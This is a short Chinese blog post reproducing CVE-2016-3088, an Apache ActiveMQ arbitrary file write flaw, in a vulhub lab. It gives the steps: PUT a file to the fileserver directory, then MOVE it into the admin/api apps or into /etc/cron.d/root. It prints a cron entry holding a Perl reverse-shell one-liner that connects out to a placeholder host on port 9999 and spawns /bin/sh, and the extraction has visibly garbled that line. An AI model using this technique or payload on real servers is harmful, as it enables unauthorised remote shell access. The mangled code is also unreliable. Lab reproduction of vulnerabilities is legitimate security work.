Apache ActiveMQ任意文件写入代码执行漏洞复现(CVE20163088)
–>
Apache ActiveMQ任意文件写入代码执行漏洞复现(CVE-2016-3088）
- 环境搭建
- 漏洞验证
环境搭建
使用vulhub进行环境搭建，具体步骤可参考这里。
漏洞验证
上传文件，使用PUT方法放到fileserver目录下，服务器响应204即代码上传成功。
将刚刚上传的文件MOVE到admin或api应用中，但是这两个应用都需要登录才能访问到（所以这里需要知道ActiveMQ的绝对路径，可以通过报错等方式获取到绝对路径）
登录后访问
下面这个方法更稳定一些，可以在fileserver目录下写入如下内容：
| */1 * * * * root /usr/bin/perl -e ‘use Socket; i = ” X . X . X . X ” ; i=”X.X.X.X”; i=“X.X.X.X“;p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’ |
将文件移动到Destination: file:///etc/cron.d/root
反弹shell成功
本文来源 互联网收集，文章内容系作者个人观点，不代表 本站 对观点赞同或支持。如需转载，请注明文章来源,如您发现有涉嫌抄袭侵权的内容，请联系本站核实处理。
© 版权声明
文章版权归作者所有，未经允许请勿转载。
相关文章
B站导航 ，集网址、资源、资讯于一体的 综合网址导航站，简约优雅的设计风格，全面的前端用户功能，简单的模块化配置，欢迎您的体验